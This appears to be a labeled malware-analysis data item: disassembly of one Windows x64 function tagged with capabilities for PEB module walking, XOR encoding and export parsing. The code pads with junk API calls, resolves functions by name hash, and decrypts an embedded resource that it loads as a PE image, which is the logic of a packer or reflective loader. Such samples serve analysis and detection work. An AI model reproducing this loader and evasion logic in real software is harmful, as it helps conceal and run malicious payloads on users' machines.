Function at 0x1400020f0
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push r13
push r14
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
xor r13d, r13d
movsxd rsi, ecx
mov ebx, r13d
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r13 + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000213a
mov dword [rax], 0xb2
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x1400021b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400021e5
add rsp, 0xac0
pop r14
pop r13
pop rsi
pop rbx
pop rbp
ret
mov rax, qword gs:[0x60]
mov qword [rsp + 0xaf0], rdi
mov qword [rsp + 0xaf8], r12
mov qword [rsp + 0xb00], r15
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x20]
test rdi, rdi
je 0x1400022df
mov r15d, 0x104
nop dword [rax]
movzx eax, word [rdi + 0x48]
test ax, ax
je 0x1400022df
cmp ax, r15w
jae 0x1400022df
mov r11, qword [rdi + 0x50]
mov r9d, r13d
movzx eax, word [r11]
test ax, ax
je 0x14000227e
mov r10, r13
nop word [rax + rax]
movzx r8d, ax
lea eax, [r8 - 0x20]
movzx ecx, al
lea edx, [r8 - 0x61]
cmp edx, 0x19
movzx eax, r8b
cmova ecx, eax
inc r9d
mov byte [rbp + r10 - 0x50], cl
mov r10d, r9d
movzx eax, word [r11 + r9*2]
test ax, ax
jne 0x140002250
mov eax, r9d
lea rcx, [rbp - 0x50]
mov ebx, r13d
mov byte [rbp + rax - 0x50], r13b
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdx, eax
mov rcx, r13
test eax, eax
je 0x1400022d3
nop dword [rax]
movsx eax, byte [rbp + rcx - 0x50]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x1400022a0
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp eax, 0x367dc15a
je 0x14000230b
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140002220
mov eax, 0xffffffff
mov r12, qword [rsp + 0xaf8]
mov rdi, qword [rsp + 0xaf0]
mov r15, qword [rsp + 0xb00]
add rsp, 0xac0
pop r14
pop r13
pop rsi
pop rbx
pop rbp
ret
mov r15, qword [rdi + 0x20]
test r15, r15
je 0x1400022df
xor edx, edx
mov dword [rsp + 0x40], 0xb67c1569
mov r8d, 0x800
mov dword [rsp + 0x44], 0xbf8f0eab
lea rcx, [rbp + 0x1c0]
mov dword [rsp + 0x48], 0x973bfc00
mov dword [rsp + 0x4c], 0x3905a42c
mov r12, r13
mov dword [rsp + 0x50], 0xe5b20888
mov dword [rsp + 0x54], 0xd10c80a7
mov dword [rsp + 0x58], 0x1ce20c38
mov dword [rsp + 0x5c], 0x351e92e
mov dword [rsp + 0x30], 0xc7ef6f17
mov dword [rsp + 0x34], 0x9d9c9563
mov dword [rsp + 0x38], 0x49ad628b
mov dword [rsp + 0x3c], 0xdd1ca2c
call fcn.140002620
mov ebx, r13d
test esi, esi
jle 0x140002455
movzx eax, word [0x1400032bc]
mov r10, r13
lea ecx, [rbx + 1]
cmp ecx, esi
jge 0x140002447
mov rdx, qword [r14 + r10*8 + 8]
lea r8, [rbp + 0x1c0]
inc r10
lea r12, [rbp + 0x1c0]
sub r8, rdx
mov ebx, ecx
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [rdx + r8], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400023d0
lea r11d, [rbx + 1]
cmp r11d, esi
jge 0x140002447
nop dword [rax + rax]
lea rcx, [rbp + 0x1c0]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140002400
mov word [rcx], ax
inc ebx
lea rcx, [rbp + 0x1c0]
inc r11d
inc r10
dec rcx
nop
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140002420
mov r9, qword [r14 + r10*8]
xor r8d, r8d
movzx edx, byte [r9 + r8]
mov byte [rcx + r8], dl
lea r8, [r8 + 1]
test dl, dl
jne 0x140002431
cmp r11d, esi
jl 0x1400023f0
inc ebx
inc r10
cmp r10, rsi
jl 0x1400023a0
mov edx, 0x586d9338
mov rcx, r15
call fcn.140001950
mov rbx, rax
test rax, rax
je 0x1400022df
mov edx, 0x761c19ca
mov rcx, r15
call fcn.140001950
mov rdi, rax
test rax, rax
je 0x1400022df
mov edx, 0x72187fe1
mov rcx, r15
call fcn.140001950
mov rsi, rax
test rax, rax
je 0x1400022df
mov edx, 0x26c5601c
mov rcx, r15
call fcn.140001950
mov r14, rax
test rax, rax
je 0x1400022df
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call rbx
mov rbx, rax
test rax, rax
je 0x1400022df
mov rdx, rax
xor ecx, ecx
call rdi
test rax, rax
je 0x1400022df
mov rcx, rax
call rsi
mov rsi, rax
test rax, rax
je 0x1400022df
mov rdx, rbx
xor ecx, ecx
call r14
mov edi, eax
test eax, eax
je 0x1400022df
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140002544
mov edx, r13d
test rdi, rdi
je 0x140002544
mov rcx, rax
sub rsi, rax
nop
movzx eax, byte [rsi + rcx]
inc edx
mov byte [rcx], al
lea rcx, [rcx + 1]
movsxd rax, edx
cmp rax, rdi
jb 0x140002530
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.1400010a0
mov r8, rdi
lea rcx, [rbp + 0xc0]
mov rdx, rbx
call fcn.140001000
mov qword [rsp + 0x6c], r13
mov dword [rsp + 0x74], r13d
mov dword [rbp - 0x54], r13d
test rbx, rbx
je 0x1400022df
movsxd r9, dword [rbx + 0x3c]
add r9, rbx
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], 8
mov qword [rsp + 0x70], r9
cmp dword [r9], 0x4550
jne 0x1400022df
movzx eax, word [r9 + 0x16]
mov r8, r15
movzx ecx, word [r9 + 0x14]
mov rdx, r12
shr eax, 0xd
add rcx, 0x18
and eax, 1
add rcx, r9
mov dword [rbp - 0x58], eax
lea rax, [r9 + 0x90]
mov qword [rbp - 0x80], rax
lea rax, [r9 + 0xb0]
mov qword [rbp - 0x78], rax
lea rax, [r9 + 0xd0]
mov qword [rbp - 0x70], rax
lea rax, [r9 + 0xa0]
mov qword [rbp - 0x68], rax
lea rax, [r9 + 0x88]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x60], rax
call fcn.140001b10
xor eax, eax
jmp 0x1400022e4